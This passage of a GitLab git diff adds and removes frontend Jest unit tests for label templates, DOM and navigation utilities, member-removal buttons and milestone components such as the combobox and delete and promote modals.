- expect($labelEl.find('span.gl-label-text')).toHaveClass('gl-label-text-light');
- });
-
- it('generated label item has a gl-label-text class', () => {
- expect($labelEl.find('span').hasClass('gl-label-text')).toEqual(true);
- });
- });
-
- describe('when scoped label is present', () => {
- const label = mockScopedLabels[0];
- let $labelEl;
-
- beforeEach(() => {
- $labelEl = $(
- LabelsSelect.getLabelTemplate({
- labels: mockScopedLabels,
- issueUpdateURL: mockUrl,
- enableScopedLabels: true,
- }),
- );
- });
-
- it('generated label item template has correct label URL', () => {
- expect($labelEl.find('a').attr('href')).toBe('/foo/bar?label_name[]=Foo%3A%3ABar');
- });
-
- it('generated label item template has correct label title', () => {
- const scopedTitle = label.title.split('::');
- expect($labelEl.find('span.gl-label-text').text()).toContain(scopedTitle[0]);
- expect($labelEl.find('span.gl-label-text').text()).toContain(scopedTitle[1]);
- });
-
- it('generated label item template has html flag as true', () => {
- expect($labelEl.find('a').attr('data-html')).toBe('true');
- });
-
- it('generated label item template has correct label styles and classes', () => {
- expect($labelEl.find('span.gl-label-text').attr('style')).toBe(
- `background-color: ${label.color};`,
- );
- expect($labelEl.find('span.gl-label-text')).toHaveClass('gl-label-text-light');
- expect($labelEl.find('span.gl-label-text').last()).not.toHaveClass('gl-label-text-light');
- });
-
- it('generated label item has a badge class', () => {
- expect($labelEl.find('span').hasClass('gl-label-text')).toEqual(true);
- });
- });
-
- describe('when scoped label is present, with text color not white', () => {
- const label = mockScopedLabels2[0];
- let $labelEl;
-
- beforeEach(() => {
- $labelEl = $(
- LabelsSelect.getLabelTemplate({
- labels: mockScopedLabels2,
- issueUpdateURL: mockUrl,
- enableScopedLabels: true,
- }),
- );
- });
-
- it('generated label item template has correct label styles and classes', () => {
- expect($labelEl.find('span.gl-label-text').attr('style')).toBe(
- `background-color: ${label.color};`,
- );
- expect($labelEl.find('span.gl-label-text')).toHaveClass('gl-label-text-dark');
- expect($labelEl.find('span.gl-label-text').last()).toHaveClass('gl-label-text-dark');
- });
- });
- });
-});
diff --git a/spec/frontend/lib/utils/common_utils_spec.js b/spec/frontend/lib/utils/common_utils_spec.js
index de1be5bc337..3e2ba918d9b 100644
--- a/spec/frontend/lib/utils/common_utils_spec.js
+++ b/spec/frontend/lib/utils/common_utils_spec.js
@@ -1040,4 +1040,15 @@ describe('common_utils', () => {
expect(result).toEqual(['hello', 'helloWorld']);
});
});
+
+ describe('convertArrayOfObjectsToCamelCase', () => {
+ it('returns a new array with snake_case object property names converted camelCase', () => {
+ const result = commonUtils.convertArrayOfObjectsToCamelCase([
+ { hello: '' },
+ { hello_world: '' },
+ ]);
+
+ expect(result).toEqual([{ hello: '' }, { helloWorld: '' }]);
+ });
+ });
});
diff --git a/spec/frontend/lib/utils/dom_utils_spec.js b/spec/frontend/lib/utils/dom_utils_spec.js
index cb8b1c7ca9a..2f240f25d2a 100644
--- a/spec/frontend/lib/utils/dom_utils_spec.js
+++ b/spec/frontend/lib/utils/dom_utils_spec.js
@@ -6,6 +6,7 @@ import {
isElementVisible,
isElementHidden,
getParents,
+ setAttributes,
} from '~/lib/utils/dom_utils';
const TEST_MARGIN = 5;
@@ -208,4 +209,15 @@ describe('DOM Utils', () => {
]);
});
});
+
+ describe('setAttributes', () => {
+ it('sets multiple attribues on element', () => {
+ const div = document.createElement('div');
+
+ setAttributes(div, { class: 'test', title: 'another test' });
+
+ expect(div.getAttribute('class')).toBe('test');
+ expect(div.getAttribute('title')).toBe('another test');
+ });
+ });
});
diff --git a/spec/frontend/lib/utils/intersection_observer_spec.js b/spec/frontend/lib/utils/intersection_observer_spec.js
new file mode 100644
index 00000000000..71b1daffe0d
--- /dev/null
+++ b/spec/frontend/lib/utils/intersection_observer_spec.js
@@ -0,0 +1,86 @@
+import { create } from '~/lib/utils/intersection_observer';
+
+describe('IntersectionObserver Utility', () => {
+ beforeAll(() => {
+ global.IntersectionObserver = class MockIntersectionObserver {
+ constructor(callback) {
+ this.callback = callback;
+
+ this.entries = [];
+ }
+
+ addEntry(entry) {
+ this.entries.push(entry);
+ }
+
+ trigger() {
+ this.callback(this.entries);
+ }
+ };
+ });
+ describe('create', () => {
+ describe('memoization', () => {
+ const options = { rootMargin: '1px 1px 1px 1px' };
+ let expectedOutput;
+
+ beforeEach(() => {
+ create.cache.clear();
+ expectedOutput = create(options);
+ });
+
+ it('returns the same Observer for the same options input', () => {
+ expect(expectedOutput.id).toBe(create(options).id);
+ });
+
+ it('creates a new Observer for unique input options', () => {
+ expect(expectedOutput.id).not.toBe(create({ rootMargin: '1px 2px 3px 4px' }));
+ });
+
+ it('creates a new Observer for the same input options in different object references', () => {
+ expect(expectedOutput.id).not.toBe(create({ rootMargin: '1px 1px 1px 1px' }));
+ });
+ });
+ });
+
+ describe('Observer behavior', () => {
+ let observer = null;
+ let id = null;
+
+ beforeEach(() => {
+ create.cache.clear();
+ ({ observer, id } = create());
+ });
+
+ it.each`
+ isIntersecting | event
+ ${false} | ${'IntersectionDisappear'}
+ ${true} | ${'IntersectionAppear'}
+ `(
+ 'should emit the correct event on the entry target based on the computed Intersection',
+ async ({ isIntersecting, event }) => {
+ const target = document.createElement('div');
+ observer.addEntry({ target, isIntersecting });
+
+ target.addEventListener(event, (e) => {
+ expect(e.detail.observer).toBe(id);
+ });
+
+ observer.trigger();
+ },
+ );
+
+ it('should always emit an Update event with the entry and the observer', () => {
+ const target = document.createElement('div');
+ const entry = { target };
+
+ observer.addEntry(entry);
+
+ target.addEventListener('IntersectionUpdate', (e) => {
+ expect(e.detail.observer).toBe(id);
+ expect(e.detail.entry).toStrictEqual(entry);
+ });
+
+ observer.trigger();
+ });
+ });
+});
diff --git a/spec/frontend/lib/utils/navigation_utility_spec.js b/spec/frontend/lib/utils/navigation_utility_spec.js
index 88172f38894..6a880a0f354 100644
--- a/spec/frontend/lib/utils/navigation_utility_spec.js
+++ b/spec/frontend/lib/utils/navigation_utility_spec.js
@@ -1,4 +1,5 @@
import findAndFollowLink from '~/lib/utils/navigation_utility';
+import * as navigationUtils from '~/lib/utils/navigation_utility';
import { visitUrl } from '~/lib/utils/url_utility';
jest.mock('~/lib/utils/url_utility');
@@ -21,3 +22,91 @@ describe('findAndFollowLink', () => {
expect(visitUrl).not.toHaveBeenCalled();
});
});
+
+describe('prefetchDocument', () => {
+ it('creates a prefetch link tag', () => {
+ const linkElement = document.createElement('link');
+
+ jest.spyOn(document, 'createElement').mockImplementation(() => linkElement);
+ jest.spyOn(document.head, 'appendChild');
+
+ navigationUtils.prefetchDocument('index.htm');
+
+ expect(document.head.appendChild).toHaveBeenCalledWith(linkElement);
+ expect(linkElement.href).toEqual('http://test.host/index.htm');
+ expect(linkElement.rel).toEqual('prefetch');
+ expect(linkElement.getAttribute('as')).toEqual('document');
+ });
+});
+
+describe('initPrefetchLinks', () => {
+ let newLink;
+
+ beforeEach(() => {
+ newLink = document.createElement('a');
+ newLink.href = 'index_prefetch.htm';
+ newLink.classList.add('js-test-prefetch-link');
+ document.body.appendChild(newLink);
+ });
+
+ it('adds to all links mouse out handlers when hovered', () => {
+ const mouseOverEvent = new Event('mouseover');
+
+ jest.spyOn(newLink, 'addEventListener');
+
+ navigationUtils.initPrefetchLinks('.js-test-prefetch-link');
+ newLink.dispatchEvent(mouseOverEvent);
+
+ expect(newLink.addEventListener).toHaveBeenCalled();
+ });
+
+ it('it is not fired when less then 100ms over link', () => {
+ const mouseOverEvent = new Event('mouseover');
+ const mouseOutEvent = new Event('mouseout');
+
+ jest.spyOn(newLink, 'addEventListener');
+ jest.spyOn(navigationUtils, 'prefetchDocument').mockImplementation(() => true);
+
+ navigationUtils.initPrefetchLinks('.js-test-prefetch-link');
+ newLink.dispatchEvent(mouseOverEvent);
+ newLink.dispatchEvent(mouseOutEvent);
+
+ expect(navigationUtils.prefetchDocument).not.toHaveBeenCalled();
+ });
+
+ describe('executes correctly when hovering long enough', () => {
+ const mouseOverEvent = new Event('mouseover');
+
+ beforeEach(() => {
+ jest.useFakeTimers();
+
+ jest.spyOn(global, 'setTimeout');
+ jest.spyOn(newLink, 'removeEventListener');
+ });
+
+ it('calls prefetchDocument which adds to document', () => {
+ jest.spyOn(document.head, 'appendChild');
+
+ navigationUtils.initPrefetchLinks('.js-test-prefetch-link');
+ newLink.dispatchEvent(mouseOverEvent);
+
+ jest.runAllTimers();
+
+ expect(setTimeout).toHaveBeenCalledWith(expect.any(Function), 100);
+ expect(document.head.appendChild).toHaveBeenCalled();
+ });
+
+ it('removes Event Listener when fired so only done once', () => {
+ navigationUtils.initPrefetchLinks('.js-test-prefetch-link');
+ newLink.dispatchEvent(mouseOverEvent);
+
+ jest.runAllTimers();
+
+ expect(newLink.removeEventListener).toHaveBeenCalledWith(
+ 'mouseover',
+ expect.any(Function),
+ true,
+ );
+ });
+ });
+});
diff --git a/spec/frontend/members/components/action_buttons/remove_member_button_spec.js b/spec/frontend/members/components/action_buttons/remove_member_button_spec.js
index 7eb0ea37fe6..1a031cc56d6 100644
--- a/spec/frontend/members/components/action_buttons/remove_member_button_spec.js
+++ b/spec/frontend/members/components/action_buttons/remove_member_button_spec.js
@@ -54,6 +54,8 @@ describe('RemoveMemberButton', () => {
});
};
+ const findButton = () => wrapper.findComponent(GlButton);
+
beforeEach(() => {
createComponent();
});
@@ -66,7 +68,6 @@ describe('RemoveMemberButton', () => {
expect(wrapper.attributes()).toMatchObject({
'aria-label': 'Remove member',
title: 'Remove member',
- icon: 'remove',
});
});
@@ -75,8 +76,22 @@ describe('RemoveMemberButton', () => {
});
it('calls Vuex action to show `remove member` modal when clicked', () => {
- wrapper.findComponent(GlButton).vm.$emit('click');
+ findButton().vm.$emit('click');
expect(actions.showRemoveMemberModal).toHaveBeenCalledWith(expect.any(Object), modalData);
});
+
+ describe('button optional properties', () => {
+ it('has default value for category and text', () => {
+ createComponent();
+ expect(findButton().props('category')).toBe('secondary');
+ expect(findButton().text()).toBe('');
+ });
+
+ it('allow changing value of button category and text', () => {
+ createComponent({ buttonCategory: 'primary', buttonText: 'Decline request' });
+ expect(findButton().props('category')).toBe('primary');
+ expect(findButton().text()).toBe('Decline request');
+ });
+ });
});
diff --git a/spec/frontend/members/components/action_buttons/user_action_buttons_spec.js b/spec/frontend/members/components/action_buttons/user_action_buttons_spec.js
index 10e451376c8..356df7e7b11 100644
--- a/spec/frontend/members/components/action_buttons/user_action_buttons_spec.js
+++ b/spec/frontend/members/components/action_buttons/user_action_buttons_spec.js
@@ -13,6 +13,7 @@ describe('UserActionButtons', () => {
propsData: {
member,
isCurrentUser: false,
+ isInvitedUser: false,
...propsData,
},
});
@@ -45,7 +46,9 @@ describe('UserActionButtons', () => {
title: 'Remove member',
isAccessRequest: false,
isInvite: false,
- icon: 'remove',
+ icon: '',
+ buttonCategory: 'secondary',
+ buttonText: 'Remove user',
userDeletionObstacles: {
name: member.user.name,
obstacles: parseUserDeletionObstacles(member.user),
@@ -129,4 +132,30 @@ describe('UserActionButtons', () => {
expect(findRemoveMemberButton().props().memberType).toBe('ProjectMember');
});
});
+
+ describe('isInvitedUser', () => {
+ it.each`
+ isInvitedUser | icon | buttonText | buttonCategory
+ ${true} | ${'remove'} | ${null} | ${'primary'}
+ ${false} | ${''} | ${'Remove user'} | ${'secondary'}
+ `(
+ 'passes the correct props to remove-member-button when isInvitedUser is $isInvitedUser',
+ ({ isInvitedUser, icon, buttonText, buttonCategory }) => {
+ createComponent({
+ isInvitedUser,
+ permissions: {
+ canRemove: true,
+ },
+ });
+
+ expect(findRemoveMemberButton().props()).toEqual(
+ expect.objectContaining({
+ icon,
+ buttonText,
+ buttonCategory,
+ }),
+ );
+ },
+ );
+ });
});
diff --git a/spec/frontend/members/components/table/member_action_buttons_spec.js b/spec/frontend/members/components/table/member_action_buttons_spec.js
index 546d09732d6..1379b2d26ce 100644
--- a/spec/frontend/members/components/table/member_action_buttons_spec.js
+++ b/spec/frontend/members/components/table/member_action_buttons_spec.js
@@ -14,6 +14,7 @@ describe('MemberActionButtons', () => {
wrapper = shallowMount(MemberActionButtons, {
propsData: {
isCurrentUser: false,
+ isInvitedUser: false,
permissions: {
canRemove: true,
},
diff --git a/spec/frontend/milestones/components/delete_milestone_modal_spec.js b/spec/frontend/milestones/components/delete_milestone_modal_spec.js
new file mode 100644
index 00000000000..8978de0e0e0
--- /dev/null
+++ b/spec/frontend/milestones/components/delete_milestone_modal_spec.js
@@ -0,0 +1,110 @@
+import Vue from 'vue';
+import { TEST_HOST } from 'helpers/test_constants';
+import mountComponent from 'helpers/vue_mount_component_helper';
+import axios from '~/lib/utils/axios_utils';
+import { redirectTo } from '~/lib/utils/url_utility';
+import deleteMilestoneModal from '~/milestones/components/delete_milestone_modal.vue';
+import eventHub from '~/milestones/event_hub';
+
+jest.mock('~/lib/utils/url_utility', () => ({
+ ...jest.requireActual('~/lib/utils/url_utility'),
+ redirectTo: jest.fn(),
+}));
+
+describe('delete_milestone_modal.vue', () => {
+ const Component = Vue.extend(deleteMilestoneModal);
+ const props = {
+ issueCount: 1,
+ mergeRequestCount: 2,
+ milestoneId: 3,
+ milestoneTitle: 'my milestone title',
+ milestoneUrl: `${TEST_HOST}/delete_milestone_modal.vue/milestone`,
+ };
+ let vm;
+
+ afterEach(() => {
+ vm.$destroy();
+ });
+
+ describe('onSubmit', () => {
+ beforeEach(() => {
+ vm = mountComponent(Component, props);
+ jest.spyOn(eventHub, '$emit').mockImplementation(() => {});
+ });
+
+ it('deletes milestone and redirects to overview page', (done) => {
+ const responseURL = `${TEST_HOST}/delete_milestone_modal.vue/milestoneOverview`;
+ jest.spyOn(axios, 'delete').mockImplementation((url) => {
+ expect(url).toBe(props.milestoneUrl);
+ expect(eventHub.$emit).toHaveBeenCalledWith(
+ 'deleteMilestoneModal.requestStarted',
+ props.milestoneUrl,
+ );
+ eventHub.$emit.mockReset();
+ return Promise.resolve({
+ request: {
+ responseURL,
+ },
+ });
+ });
+
+ vm.onSubmit()
+ .then(() => {
+ expect(redirectTo).toHaveBeenCalledWith(responseURL);
+ expect(eventHub.$emit).toHaveBeenCalledWith('deleteMilestoneModal.requestFinished', {
+ milestoneUrl: props.milestoneUrl,
+ successful: true,
+ });
+ })
+ .then(done)
+ .catch(done.fail);
+ });
+
+ it('displays error if deleting milestone failed', (done) => {
+ const dummyError = new Error('deleting milestone failed');
+ dummyError.response = { status: 418 };
+ jest.spyOn(axios, 'delete').mockImplementation((url) => {
+ expect(url).toBe(props.milestoneUrl);
+ expect(eventHub.$emit).toHaveBeenCalledWith(
+ 'deleteMilestoneModal.requestStarted',
+ props.milestoneUrl,
+ );
+ eventHub.$emit.mockReset();
+ return Promise.reject(dummyError);
+ });
+
+ vm.onSubmit()
+ .catch((error) => {
+ expect(error).toBe(dummyError);
+ expect(redirectTo).not.toHaveBeenCalled();
+ expect(eventHub.$emit).toHaveBeenCalledWith('deleteMilestoneModal.requestFinished', {
+ milestoneUrl: props.milestoneUrl,
+ successful: false,
+ });
+ })
+ .then(done)
+ .catch(done.fail);
+ });
+ });
+
+ describe('text', () => {
+ it('contains the issue and milestone count', () => {
+ vm = mountComponent(Component, props);
+ const value = vm.text;
+
+ expect(value).toContain('remove it from 1 issue and 2 merge requests');
+ });
+
+ it('contains neither issue nor milestone count', () => {
+ vm = mountComponent(Component, {
+ ...props,
+ issueCount: 0,
+ mergeRequestCount: 0,
+ });
+
+ const value = vm.text;
+
+ expect(value).toContain('is not currently used');
+ });
+ });
+});
diff --git a/spec/frontend/milestones/components/milestone_combobox_spec.js b/spec/frontend/milestones/components/milestone_combobox_spec.js
new file mode 100644
index 00000000000..1af39aff30c
--- /dev/null
+++ b/spec/frontend/milestones/components/milestone_combobox_spec.js
@@ -0,0 +1,512 @@
+import { GlLoadingIcon, GlSearchBoxByType, GlDropdownItem } from '@gitlab/ui';
+import { mount } from '@vue/test-utils';
+import axios from 'axios';
+import MockAdapter from 'axios-mock-adapter';
+import Vue, { nextTick } from 'vue';
+import Vuex from 'vuex';
+import { ENTER_KEY } from '~/lib/utils/keys';
+import MilestoneCombobox from '~/milestones/components/milestone_combobox.vue';
+import createStore from '~/milestones/stores/';
+import { projectMilestones, groupMilestones } from '../mock_data';
+
+const extraLinks = [
+ { text: 'Create new', url: 'http://127.0.0.1:3000/h5bp/html5-boilerplate/-/milestones/new' },
+ { text: 'Manage milestones', url: '/h5bp/html5-boilerplate/-/milestones' },
+];
+
+Vue.use(Vuex);
+
+describe('Milestone combobox component', () => {
+ const projectId = '8';
+ const groupId = '24';
+ const groupMilestonesAvailable = true;
+ const X_TOTAL_HEADER = 'x-total';
+
+ let wrapper;
+ let projectMilestonesApiCallSpy;
+ let groupMilestonesApiCallSpy;
+ let searchApiCallSpy;
+
+ const createComponent = (props = {}, attrs = {}) => {
+ const propsData = {
+ projectId,
+ groupId,
+ groupMilestonesAvailable,
+ extraLinks,
+ value: [],
+ ...props,
+ };
+
+ wrapper = mount(MilestoneCombobox, {
+ propsData,
+ attrs,
+ listeners: {
+ // simulate a parent component v-model binding
+ input: (selectedMilestone) => {
+ // ugly hack because setProps plays bad with immediate watchers
+ // see https://github.com/vuejs/vue-test-utils/issues/1140 and
+ // https://github.com/vuejs/vue-test-utils/pull/1752
+ propsData.value = selectedMilestone;
+ wrapper.setProps({ value: selectedMilestone });
+ },
+ },
+ stubs: {
+ GlSearchBoxByType: true,
+ },
+ store: createStore(),
+ });
+ };
+
+ beforeEach(() => {
+ const mock = new MockAdapter(axios);
+ gon.api_version = 'v4';
+
+ projectMilestonesApiCallSpy = jest
+ .fn()
+ .mockReturnValue([200, projectMilestones, { [X_TOTAL_HEADER]: '6' }]);
+
+ groupMilestonesApiCallSpy = jest
+ .fn()
+ .mockReturnValue([200, groupMilestones, { [X_TOTAL_HEADER]: '6' }]);
+
+ searchApiCallSpy = jest
+ .fn()
+ .mockReturnValue([200, projectMilestones, { [X_TOTAL_HEADER]: '6' }]);
+
+ mock
+ .onGet(`/api/v4/projects/${projectId}/milestones`)
+ .reply((config) => projectMilestonesApiCallSpy(config));
+
+ mock
+ .onGet(`/api/v4/groups/${groupId}/milestones`)
+ .reply((config) => groupMilestonesApiCallSpy(config));
+
+ mock.onGet(`/api/v4/projects/${projectId}/search`).reply((config) => searchApiCallSpy(config));
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ //
+ // Finders
+ //
+ const findButtonContent = () => wrapper.find('[data-testid="milestone-combobox-button-content"]');
+
+ const findNoResults = () => wrapper.find('[data-testid="milestone-combobox-no-results"]');
+
+ const findLoadingIcon = () => wrapper.find(GlLoadingIcon);
+
+ const findSearchBox = () => wrapper.find(GlSearchBoxByType);
+
+ const findProjectMilestonesSection = () =>
+ wrapper.find('[data-testid="project-milestones-section"]');
+ const findProjectMilestonesDropdownItems = () =>
+ findProjectMilestonesSection().findAll(GlDropdownItem);
+ const findFirstProjectMilestonesDropdownItem = () => findProjectMilestonesDropdownItems().at(0);
+
+ const findGroupMilestonesSection = () => wrapper.find('[data-testid="group-milestones-section"]');
+ const findGroupMilestonesDropdownItems = () =>
+ findGroupMilestonesSection().findAll(GlDropdownItem);
+ const findFirstGroupMilestonesDropdownItem = () => findGroupMilestonesDropdownItems().at(0);
+
+ //
+ // Expecters
+ //
+ const projectMilestoneSectionContainsErrorMessage = () => {
+ const projectMilestoneSection = findProjectMilestonesSection();
+
+ return projectMilestoneSection
+ .text()
+ .includes('An error occurred while searching for milestones');
+ };
+
+ const groupMilestoneSectionContainsErrorMessage = () => {
+ const groupMilestoneSection = findGroupMilestonesSection();
+
+ return groupMilestoneSection
+ .text()
+ .includes('An error occurred while searching for milestones');
+ };
+
+ //
+ // Convenience methods
+ //
+ const updateQuery = (newQuery) => {
+ findSearchBox().vm.$emit('input', newQuery);
+ };
+
+ const selectFirstProjectMilestone = () => {
+ findFirstProjectMilestonesDropdownItem().vm.$emit('click');
+ };
+
+ const selectFirstGroupMilestone = () => {
+ findFirstGroupMilestonesDropdownItem().vm.$emit('click');
+ };
+
+ const waitForRequests = async ({ andClearMocks } = { andClearMocks: false }) => {
+ await axios.waitForAll();
+ if (andClearMocks) {
+ projectMilestonesApiCallSpy.mockClear();
+ groupMilestonesApiCallSpy.mockClear();
+ }
+ };
+
+ describe('initialization behavior', () => {
+ beforeEach(createComponent);
+
+ it('initializes the dropdown with milestones when mounted', () => {
+ return waitForRequests().then(() => {
+ expect(projectMilestonesApiCallSpy).toHaveBeenCalledTimes(1);
+ expect(groupMilestonesApiCallSpy).toHaveBeenCalledTimes(1);
+ });
+ });
+
+ it('shows a spinner while network requests are in progress', () => {
+ expect(findLoadingIcon().exists()).toBe(true);
+
+ return waitForRequests().then(() => {
+ expect(findLoadingIcon().exists()).toBe(false);
+ });
+ });
+
+ it('shows additional links', () => {
+ const links = wrapper.findAll('[data-testid="milestone-combobox-extra-links"]');
+ links.wrappers.forEach((item, idx) => {
+ expect(item.text()).toBe(extraLinks[idx].text);
+ expect(item.attributes('href')).toBe(extraLinks[idx].url);
+ });
+ });
+ });
+
+ describe('post-initialization behavior', () => {
+ describe('when the parent component provides an `id` binding', () => {
+ const id = '8';
+
+ beforeEach(() => {
+ createComponent({}, { id });
+
+ return waitForRequests();
+ });
+
+ it('adds the provided ID to the GlDropdown instance', () => {
+ expect(wrapper.attributes().id).toBe(id);
+ });
+ });
+
+ describe('when milestones are pre-selected', () => {
+ beforeEach(() => {
+ createComponent({ value: projectMilestones });
+
+ return waitForRequests();
+ });
+
+ it('renders the pre-selected milestones', () => {
+ expect(findButtonContent().text()).toBe('v0.1 + 5 more');
+ });
+ });
+
+ describe('when the search query is updated', () => {
+ beforeEach(() => {
+ createComponent();
+
+ return waitForRequests({ andClearMocks: true });
+ });
+
+ it('requeries the search when the search query is updated', () => {
+ updateQuery('v1.2.3');
+
+ return waitForRequests().then(() => {
+ expect(searchApiCallSpy).toHaveBeenCalledTimes(1);
+ });
+ });
+ });
+
+ describe('when the Enter is pressed', () => {
+ beforeEach(() => {
+ createComponent();
+
+ return waitForRequests({ andClearMocks: true });
+ });
+
+ it('requeries the search when Enter is pressed', () => {
+ findSearchBox().vm.$emit('keydown', new KeyboardEvent({ key: ENTER_KEY }));
+
+ return waitForRequests().then(() => {
+ expect(searchApiCallSpy).toHaveBeenCalledTimes(1);
+ });
+ });
+ });
+
+ describe('when no results are found', () => {
+ beforeEach(() => {
+ projectMilestonesApiCallSpy = jest
+ .fn()
+ .mockReturnValue([200, [], { [X_TOTAL_HEADER]: '0' }]);
+
+ groupMilestonesApiCallSpy = jest.fn().mockReturnValue([200, [], { [X_TOTAL_HEADER]: '0' }]);
+
+ createComponent();
+
+ return waitForRequests();
+ });
+
+ describe('when the search query is empty', () => {
+ it('renders a "no results" message', () => {
+ expect(findNoResults().text()).toBe('No matching results');
+ });
+ });
+ });
+
+ describe('project milestones', () => {
+ describe('when the project milestones search returns results', () => {
+ beforeEach(() => {
+ createComponent();
+
+ return waitForRequests();
+ });
+
+ it('renders the project milestones section in the dropdown', () => {
+ expect(findProjectMilestonesSection().exists()).toBe(true);
+ });
+
+ it('renders the "Project milestones" heading with a total number indicator', () => {
+ expect(
+ findProjectMilestonesSection()
+ .find('[data-testid="milestone-results-section-header"]')
+ .text(),
+ ).toBe('Project milestones 6');
+ });
+
+ it("does not render an error message in the project milestone section's body", () => {
+ expect(projectMilestoneSectionContainsErrorMessage()).toBe(false);
+ });
+
+ it('renders each project milestones as a selectable item', () => {
+ const dropdownItems = findProjectMilestonesDropdownItems();
+
+ projectMilestones.forEach((milestone, i) => {
+ expect(dropdownItems.at(i).text()).toBe(milestone.title);
+ });
+ });
+ });
+
+ describe('when the project milestones search returns no results', () => {
+ beforeEach(() => {
+ projectMilestonesApiCallSpy = jest
+ .fn()
+ .mockReturnValue([200, [], { [X_TOTAL_HEADER]: '0' }]);
+
+ createComponent();
+
+ return waitForRequests();
+ });
+
+ it('does not render the project milestones section in the dropdown', () => {
+ expect(findProjectMilestonesSection().exists()).toBe(false);
+ });
+ });
+
+ describe('when the project milestones search returns an error', () => {
+ beforeEach(() => {
+ projectMilestonesApiCallSpy = jest.fn().mockReturnValue([500]);
+ searchApiCallSpy = jest.fn().mockReturnValue([500]);
+
+ createComponent({ value: [] });
+
+ return waitForRequests();
+ });
+
+ it('renders the project milestones section in the dropdown', () => {
+ expect(findProjectMilestonesSection().exists()).toBe(true);
+ });
+
+ it("renders an error message in the project milestones section's body", () => {
+ expect(projectMilestoneSectionContainsErrorMessage()).toBe(true);
+ });
+ });
+
+ describe('selection', () => {
+ beforeEach(() => {
+ createComponent();
+
+ return waitForRequests();
+ });
+
+ it('renders a checkmark by the selected item', async () => {
+ selectFirstProjectMilestone();
+
+ await nextTick();
+
+ expect(
+ findFirstProjectMilestonesDropdownItem().find('span').classes('selected-item'),
+ ).toBe(true);
+
+ selectFirstProjectMilestone();
+
+ await nextTick();
+
+ expect(
+ findFirstProjectMilestonesDropdownItem().find('span').classes('selected-item'),
+ ).toBe(false);
+ });
+
+ describe('when a project milestones is selected', () => {
+ beforeEach(() => {
+ createComponent();
+ projectMilestonesApiCallSpy = jest
+ .fn()
+ .mockReturnValue([200, [{ title: 'v1.0' }], { [X_TOTAL_HEADER]: '1' }]);
+
+ return waitForRequests();
+ });
+
+ it("displays the project milestones name in the dropdown's button", async () => {
+ selectFirstProjectMilestone();
+ await nextTick();
+
+ expect(findButtonContent().text()).toBe('v1.0');
+
+ selectFirstProjectMilestone();
+ await nextTick();
+
+ expect(findButtonContent().text()).toBe('No milestone');
+ });
+
+ it('updates the v-model binding with the project milestone title', async () => {
+ selectFirstProjectMilestone();
+ await nextTick();
+
+ expect(wrapper.emitted().input[0][0]).toStrictEqual(['v1.0']);
+ });
+ });
+ });
+ });
+
+ describe('group milestones', () => {
+ describe('when the group milestones search returns results', () => {
+ beforeEach(() => {
+ createComponent();
+
+ return waitForRequests();
+ });
+
+ it('renders the group milestones section in the dropdown', () => {
+ expect(findGroupMilestonesSection().exists()).toBe(true);
+ });
+
+ it('renders the "Group milestones" heading with a total number indicator', () => {
+ expect(
+ findGroupMilestonesSection()
+ .find('[data-testid="milestone-results-section-header"]')
+ .text(),
+ ).toBe('Group milestones 6');
+ });
+
+ it("does not render an error message in the group milestone section's body", () => {
+ expect(groupMilestoneSectionContainsErrorMessage()).toBe(false);
+ });
+
+ it('renders each group milestones as a selectable item', () => {
+ const dropdownItems = findGroupMilestonesDropdownItems();
+
+ groupMilestones.forEach((milestone, i) => {
+ expect(dropdownItems.at(i).text()).toBe(milestone.title);
+ });
+ });
+ });
+
+ describe('when the group milestones search returns no results', () => {
+ beforeEach(() => {
+ groupMilestonesApiCallSpy = jest
+ .fn()
+ .mockReturnValue([200, [], { [X_TOTAL_HEADER]: '0' }]);
+
+ createComponent();
+
+ return waitForRequests();
+ });
+
+ it('does not render the group milestones section in the dropdown', () => {
+ expect(findGroupMilestonesSection().exists()).toBe(false);
+ });
+ });
+
+ describe('when the group milestones search returns an error', () => {
+ beforeEach(() => {
+ groupMilestonesApiCallSpy = jest.fn().mockReturnValue([500]);
+ searchApiCallSpy = jest.fn().mockReturnValue([500]);
+
+ createComponent({ value: [] });
+
+ return waitForRequests();
+ });
+
+ it('renders the group milestones section in the dropdown', () => {
+ expect(findGroupMilestonesSection().exists()).toBe(true);
+ });
+
+ it("renders an error message in the group milestones section's body", () => {
+ expect(groupMilestoneSectionContainsErrorMessage()).toBe(true);
+ });
+ });
+
+ describe('selection', () => {
+ beforeEach(() => {
+ createComponent();
+
+ return waitForRequests();
+ });
+
+ it('renders a checkmark by the selected item', async () => {
+ selectFirstGroupMilestone();
+
+ await nextTick();
+
+ expect(findFirstGroupMilestonesDropdownItem().find('span').classes('selected-item')).toBe(
+ true,
+ );
+
+ selectFirstGroupMilestone();
+
+ await nextTick();
+
+ expect(findFirstGroupMilestonesDropdownItem().find('span').classes('selected-item')).toBe(
+ false,
+ );
+ });
+
+ describe('when a group milestones is selected', () => {
+ beforeEach(() => {
+ createComponent();
+ groupMilestonesApiCallSpy = jest
+ .fn()
+ .mockReturnValue([200, [{ title: 'group-v1.0' }], { [X_TOTAL_HEADER]: '1' }]);
+
+ return waitForRequests();
+ });
+
+ it("displays the group milestones name in the dropdown's button", async () => {
+ selectFirstGroupMilestone();
+ await nextTick();
+
+ expect(findButtonContent().text()).toBe('group-v1.0');
+
+ selectFirstGroupMilestone();
+ await nextTick();
+
+ expect(findButtonContent().text()).toBe('No milestone');
+ });
+
+ it('updates the v-model binding with the group milestone title', async () => {
+ selectFirstGroupMilestone();
+ await nextTick();
+
+ expect(wrapper.emitted().input[0][0]).toStrictEqual(['group-v1.0']);
+ });
+ });
+ });
+ });
+ });
+});
diff --git a/spec/frontend/milestones/components/promote_milestone_modal_spec.js b/spec/frontend/milestones/components/promote_milestone_modal_spec.js
new file mode 100644
index 00000000000..11eaa92f2b0
--- /dev/null
+++ b/spec/frontend/milestones/components/promote_milestone_modal_spec.js
@@ -0,0 +1,109 @@
+import { GlModal } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import { setHTMLFixture } from 'helpers/fixtures';
+import { TEST_HOST } from 'helpers/test_constants';
+import waitForPromises from 'helpers/wait_for_promises';
+import createFlash from '~/flash';
+import axios from '~/lib/utils/axios_utils';
+import * as urlUtils from '~/lib/utils/url_utility';
+import PromoteMilestoneModal from '~/milestones/components/promote_milestone_modal.vue';
+
+jest.mock('~/lib/utils/url_utility');
+jest.mock('~/flash');
+
+describe('Promote milestone modal', () => {
+ let wrapper;
+ const milestoneMockData = {
+ milestoneTitle: 'v1.0',
+ url: `${TEST_HOST}/dummy/promote/milestones`,
+ groupName: 'group',
+ };
+
